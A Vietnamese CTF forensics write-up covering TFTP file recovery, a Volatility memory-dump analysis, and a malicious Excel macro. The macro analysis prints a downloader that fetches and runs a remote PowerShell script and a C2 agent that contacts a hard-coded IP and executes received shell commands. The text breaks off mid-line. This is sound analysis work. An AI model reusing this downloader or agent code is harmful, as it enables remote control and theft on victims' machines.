![](https://hackmd.io/_uploads/H1f6YPFY3.png) Áp dụng `TFTP` làm filter, mình phát hiện có 1 file `flag.pdf` được truyền tải qua giao thức này: ![](https://hackmd.io/_uploads/By5LcPKY3.png) [Nghiên cứu](http://isp.vsi.ru/library/Networking/TCPIPIllustrated/tftp_tri.htm) về giao thức này, mình biết được, 1 packet sẽ có tối đa 516 bytes, trong đó data chiếm 512 bytes, `opcode` và `blocknum` mỗi cái chiếm 2 bytes, vì vậy mình cần phải loại 4 bytes đầu của mỗi packet. Đồng thời, file được truyền bằng `netascii`, nên các ký tự EOL cũng bị làm hư hỏng, vì thế mình cần sửa `0d0a` (CRLF) thành `0a` (LF); `0d00` (CRnul) thành `0d` (CR). Mình sử dụng python để thay thế cho nhanh: ```python= import os CR = b'\x0d' LF = b'\x0a' CRLF = CR + LF NUL = b'\x00' CRNUL = CR + NUL if isinstance(os.linesep, bytes): NL = os.linesep else: NL = os.linesep.encode("ascii") def from_netascii(data): pattern = b'(\x0d\x0a|\x0d\x00)' def convert_from_netascii(match_obj): if match_obj.group(0) == CRLF: return NL elif match_obj.group(0) == CRNUL: return CR return pattern.sub(convert_from_netascii, data) with open("flag.pdf", "rb") as f: t = f.read() x = bytearray() buffer_size = 8192 for i in range(4, len(t), buffer_size): x.extend(t[i:i+buffer_size]) with open("flag_new.pdf", "wb") as f: f.write(from_netascii(x).replace(b"\r\n", b"\n")) ``` Và mình có file flag cuối cùng: ![](https://hackmd.io/_uploads/HyiXb_FFh.png) ### flag: `CHH{FTP_4nd_TFTP_4r3_b0th_un$af3` ## Báo cáo dang dở Tải về và giải nén được một file memory dump, mình dùng Volatility để phân tích file này. ``` vol.exe -f "MEMORY.DMP" windows.pslist.PsList ``` Dùng `pslist`, ta được list các process và từ đề bài có thể thấy được cần tập trung vào process `WINWORD.EXE` - PID: `1736` ``` vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736 ``` Output: ``` PID Process Offset HandleValue Type GrantedAccess Name ... 1736 WINWORD.EXE 0xf8a001cebbf0 0x718 Section 0xf0007 1736 WINWORD.EXE 0xfa80040fd2f0 0x71c Event 0x1f0003 OleDfRootC3E09668F74F21C5 1736 WINWORD.EXE 0xfa80041e2070 0x720 File 0x12019f \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd 1736 WINWORD.EXE 0xfa8004652e80 0x724 File 0x13019f \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP 1736 WINWORD.EXE 0xf8a00229c2f0 0x728 Section 0xf0007 1736 WINWORD.EXE 0xfa8003df8f60 0x730 Event 0x1f0003 1736 WINWORD.EXE 0xfa8003d930f0 0x734 Event 0x1f0003 1736 WINWORD.EXE 0xfa800462ae60 0x738 ALPC Port 0x1f0001 1736 WINWORD.EXE 0xfa80040f5550 0x73c Thread 0x1fffff Tid 1216 Pid 1736 1736 WINWORD.EXE 0xfa800452ddc0 0x740 Event 0x1f0003 ``` Đã tìm thấy file AutoRecovery quý giá, dump nó bằng lệnh: ``` vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736 ``` ![](https://media.discordapp.net/attachments/1115650271322849310/1128010294673809459/vota1.png?width=917&height=468) Mờ file AutoRecovery bằng word và mình có flag: ### flag: `CHH{4ut0R3c0v3r_s4v3_my_l1f3}` ## Under Control Sau khi tải về và giải nén, mình thu thập được 1 file pcap. Mở bằng wireshark, có thể thấy file pcap này ghi lại các packet giữa 2 máy tính kết nối với nhau. Nhận thấy đây là 1 file pcap khá nặng, mình check các HTTP Objects được gửi và tìm thấy 1 file excel. ![](https://media.discordapp.net/attachments/1115650271322849310/1128001520865124454/image.png?width=1440&height=287) Tải file này xuống và mở thử, mình được 1 file nhìn không giống malware 1 chút nào: ![](https://cdn.discordapp.com/attachments/1115650271322849310/1128001653090566344/image.png) Nhận thấy có sự yêu cầu bật Macro, mình sử dụng tool [olevba]() để phân tích file này và phát hiện có sử dụng VBA Macro. Tuy nhiên file VBA này đã bị obsfucate nặng nề, sử dụng các ký tự Unicode để đặt làm tên biến khiến cho việc đọc code rất khó khăn. ``` teebow1e@wwc:~$ olevba Danh20sC3A1ch20phC3B2ng20thi.xls olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools =============================================================================== FILE: Danh20sC3A1ch20phC3B2ng20thi.xls Type: OLE Sub Auto_Open() Workbook_Open End Sub Sub AutoOpen() Workbook_Open End Sub Sub WorkbookOpen() Workbook_Open End Sub Sub Document_Open() Workbook_Open End Sub Sub DocumentOpen() Workbook_Open End Sub Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" »¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ``` (mình đã lược bỏ bớt output để tránh writeup bị dài dòng) Sau khi rename lại các biến, loại bỏ 1 số dòng code k sử dụng đến, mình có được đoạn code: ```vba= Function function1(parameter1) printable_letter = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" garbage = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" For y = 1 To Len(parameter1) find_some_letters = InStr(printable_letter, Mid(parameter1, y, 1)) If find_some_letters > 0 Then string_slicing = Mid(garbage, find_some_letters, 1) garbage2 = garbage2 + string_slicing Else garbage2 = garbage2 + Mid(parameter1, y, 1) End If End Function Sub Workbook_Open() Dim wscript_object As Object Dim full_path_to_AppData As String Dim unsure_garbage As String Dim unsure_garbage2 As String Dim some_string As Integer some_string = Chr(50) + Chr(48) + Chr(48) Set wscript_object = CreateObject("WScript.Shell") full_path_to_AppData = wscript_object.SpecialFolders("AppData") Dim operation Dim important_data Dim unsure_garbage3 Dim index As Long Dim index2 As String Dim unsure_garbage4 As Long Dim garbage3 As String Dim index3 As Long Dim index4 As String Dim unsure_garbage5 As String Dim garbage3 As Long Dim do_something_to_AppData Dim run_a_program Dim important_data_2 As Integer Dim something_internet Dim unsure_garbage_6 important_data_2 = 1 Range("A1").Value = function1("4BEiàiuP3x6¿QEi³") Dim important_data_3 As String weird_text = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI" important_data_3 = function1(weird_text) MsgBox important_data_3, vbInformation, function1("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿") Dim date_1 As Date Dim date_2 As Date date_1 = Date date_2 = DateSerial(2023, 6, 6) If date_1 < date_2 Then Set something_internet = CreateObject("microsoft.xmlhttp") Set run_a_program = CreateObject("Shell.Application") do_something_to_AppData = full_path_to_AppData + function1("\k¿i6Ü_~Bb@") something_internet.Open "get", function1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE something_internet.send important_data = something_internet.responseBody If something_internet.Status = 200 Then Set operation = CreateObject("adodb.stream") operation.Open operation.Type = important_data_2 operation.Write important_data operation.SaveToFile do_something_to_AppData, important_data_2 + important_data_2 operation.Close End If run_a_program.Open (do_something_to_AppData) Else MsgBox '³P³²ÛP³xP²¿iPQEPk²x") End If End Sub ``` Mình nhận thấy đoạn code này chủ yếu là decrypt các ký tự Unicode, sau đó fetch 1 file từ trên mạng, sau đó chạy nó. Chính vì thế, mình đã clean lại code, decrypt các dòng Unicode bằng `function1`: ```vba= Sub Workbook_Open() Dim wscript_object As Object Dim full_path_to_AppData As String Dim unsure_garbage As String Dim unsure_garbage2 As String Dim some_string As Integer some_string = 200 Set wscript_object = CreateObject("WScript.Shell") full_path_to_AppData = wscript_object.SpecialFolders("AppData") Dim operation Dim important_data Dim unsure_garbage3 Dim index As Long Dim index2 As String Dim unsure_garbage4 As Long Dim garbage3 As String Dim index3 As Long Dim index4 As String Dim unsure_garbage5 As String Dim garbage3 As Long Dim do_something_to_AppData Dim run_a_program Dim important_data_2 As Integer Dim something_internet Dim unsure_garbage_6 important_data_2 = 1 Range("A1").Value = Opening document Dim important_data_3 As String important_data3 = "You have been hacked and your important documents have been stolen!" & vbCrLf & "To retrieve these data, you are required to transfer 100k to the following bank account number:" & vbCrLf & "1010107112000" & vbCrLf & "Account holder: Nguyen Thanh Long" & vbCrLf & "Bank: MB Bank" MsgBox important_data_3, vbInformation, function1("We deeply regret to inform you") Dim date_1 As Date Dim date_2 As Date date_1 = Date date_2 = DateSerial(2023, 6, 6) If date_1 < date_2 Then Set something_internet = CreateObject("microsoft.xmlhttp") Set run_a_program = CreateObject("Shell.Application") do_something_to_AppData = full_path_to_AppData + function1("\k¿i6Ü_~Bb@") something_internet.Open "get", function1("https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1"), FALSE something_internet.send important_data = something_internet.responseBody If something_internet.Status = 200 Then Set operation = CreateObject("adodb.stream") operation.Open operation.Type = important_data_2 operation.Write important_data operation.SaveToFile do_something_to_AppData, important_data_2 + important_data_2 operation.Close End If run_a_program.Open (do_something_to_AppData) Else MsgBox End If End Sub ``` > https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1 Ồ, một cái tên thật quen thuộc và một đường link hiện ra. Tải file Powershell kia về và chạy, mình có layer tiếp theo, cũng bị obsfucate: ```= PS C:\Users\teebow1e\Documents> C:\Users\teebow1e\Documents\stage_final.ps1 ${8r`T3WA} = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','. s','p') ;.('SV') ("{0}{1}"-f '72','j5O') ( [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0 }"-f 'Y.','toGRapH','p'),'ng','aD') ) ; ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT') ; ${H`LvW1} = [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'), 'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX'); .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92')) ( [Type]("{1}{2}{0}" -F ("{1}{0}{2 }"-f 'NEt.dn','eM.','S'),'Sys','t')) ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) { ${AJuJ`V`RAZ`99} = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed',' ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae')) ${AJUjvr`AZ`99}."Mo`de" = ( .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI')) ("8rt"+"3Wa") -Value )::"c`Bc" ${aJuj`V`RAZ99}."PA`d`dInG" = ( .("{0}{1}"-f 'Di','r') ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab') )."VA`LUe"::"ze`Ros" ${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128 ${Aju`Jv`RAz`99}."keysI`ze" = 256 if (${5`TM`RWPluy}) { if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) { ${a`j`U`jvRaZ99}."Iv" = (&("{1}{0}"-f'r','di') ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`P l`Uy}) } else { ${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy} } } if (${Vx`ZtM`FF}) { if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) { ${ajU`j`VraZ99}."K`ey" = ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`K e"(${vx`z`TmFF}) } else { ${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff} } } ${aJUjvRA`Z`99} } function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) { ${B`y`TES} = ( .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v') (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`Fpd QRF99}) ${ajujVR`AZ`99} = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff} ${qD`IqL`GaQ99} = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"() ${lw`i`hYmIF99} = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh"); [byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99} ${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"() ${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99}) } function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) { ${bYT`Es} = (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR') ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk` jRx`qcF99}) ${5t`MR`WpLuY} = ${B`Y`Tes}[0..15] ${aJu`JVra`z99} = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY} ${MNDm`WYnB`99} = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"(); ${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16); ${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"() ${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0) } function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){ ${Cw`zVY`VJ} = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','t e'),'S',("{0}{2}{1}"-f'm.Di','st','agno')) ${Cw`ZVy`Vj}."FIlena`me" = ${DFjZ1`co} ${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR" = ${T`Rue} ${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue} ${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te" = ${F`ALsE} ${c`wzvy`VJ}."aRg`UmENtS" = ${yO8`x`m5} ${p} = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1 }" -f 'ces','s'),'S') ${P}."s`T`ArTiN`FO" = ${C`W`zvYVj} ${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou') ${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"() ${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"() ${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"() ${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99") ${K`cnJcQ`Dl} } ${FZvyCr} = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19')) ${t`wFTrI} = ("{0}{1}"-f'7','331') ${VxzTmff} = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{ 0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42'))) ${n} = 3 ${C`w`j2TWh} = "" ${yC`RU`Tw} = ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"() ${F`N`FFGXDzj} = "p" ${D`FctD`FM} = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg") ${kV`QBXbuR} = @{ ("{0}{1}"-f 'n','ame') = "$YCRUTw" ("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ" } ${CWj2`TWh} = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT" ${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${i`JfySE2} = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh") for (;;){ ${M`A04XM`gY} = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt" if (-Not ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){ ${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY} ${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"() ${FL`AG} = ${MA04`x`mgY}[0] if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){ ${WB1`SWYo`je} = ${MA04`X`MgY}[1] ${yO8`X`M5S} = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"] if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){ ${F} = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe') ${y`O`8XM5} = "/c " foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " } ${KcNJ`C`QdL} = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5} ${kCnjCQ`DL} = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl} ${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"} &("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T',' POS') } elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){ ${f} = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.') ${yO`8X`m5} = "/c " foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " } ${kc`Nj`cqdL} = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5} ${k`cn`jCQDL} = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl} ${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"} &("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P') } elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){ ${n} = [int]${yO`8Xm`5S}[0] ${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""} &("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS') } elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){ ${c`wJ2t`Wh} = ${Y`O8Xm`5S}[0] ${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${ijF`Ys`E2} = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh") ${kV`Qb`XbUr} = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""} .("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P') } elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){ exit } } .("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N} } } ``` Để deobs các file PowerShell như này thì mình thường dùng [PSDecode](https://github.com/R3MRUM/PSDecode), tuy nhiên lần này lại không chạy (do Antivirus báo liên tục) được nên mình đã dùng ChatGPT để deobsfucate :D ```powershell= $cipher = [System.Security.Cryptography.CipherMode]::CBC $padding = [System.Security.Cryptography.PaddingMode]::Zeros $convert = [System.Convert] $enc = [System.Text.Encoding] $dns = [System.Net.Dns] $str = [System.String] function Create-AesManageObject($iv, $key) { $aesManaged = New-Object System.Security.Cryptography.AesManaged $aesManaged.Mode = $cipher $aesManaged.Padding = $padding $aesManaged.BlockSize = 128 $aesManaged.KeySize = 256 if ($iv) { if ($iv.GetType().Invoke().Name -eq $str) { $aesManaged.IV = $convert::FromBase64String.Invoke($iv) } else { $aesManaged.IV = $iv } } if ($key) { $aesManaged.Key = $key } } } function Encrypt($key, $plaintext) { $aesManaged = Create-AesManageObject $key $encryptor = $aesManaged.CreateEncryptor() $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) $result = $aesManaged.IV + $encryptedBytes $aesManaged.Dispose() [Convert]::ToBase64String($result) } function Decrypt($key, $encrypted) { $aesManaged = Create-AesManageObject $key $decryptor = $aesManaged.CreateDecryptor() $bytes = [Convert]::FromBase64String($encrypted) $iv = $bytes[0..15] $encryptedData = $bytes[16..($bytes.Length - 1)] $decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length) $result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0) $aesManaged.Dispose() $result } function Shell($path, $arguments) { $processStartInfo = New-Object System.Diagnostics.ProcessStartInfo $processStartInfo.FileName = $path $processStartInfo.RedirectStandardError = $true $processStartInfo.RedirectStandardOutput = $true $processStartInfo.UseShellExecute = $false $processStartInfo.Arguments = $arguments $process = New-Object System.Diagnostics.Process $process.StartInfo = $processStartInfo $process.Start() | Out-Null $process.WaitForExit() $standardOutput = $process.StandardOutput.ReadToEnd() $standardError = $process.StandardError.ReadToEnd() $result = "VALID $standardOutput`n$standardError" $result } $serverIP = '128.199.207.220' $serverPort = '7331' $key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=' $delay = 3 $currentTask = "" $hostname = [System.Net.Dns]::GetHostName() $requestUri = "http://$serverIP:$serverPort/reg" $body = @{ 'name' = $hostname 'type' = "p" } | ConvertTo-Json $taskUri = "http://$serverIP:$serverPort/tasks/$currentTask" $resultUri = 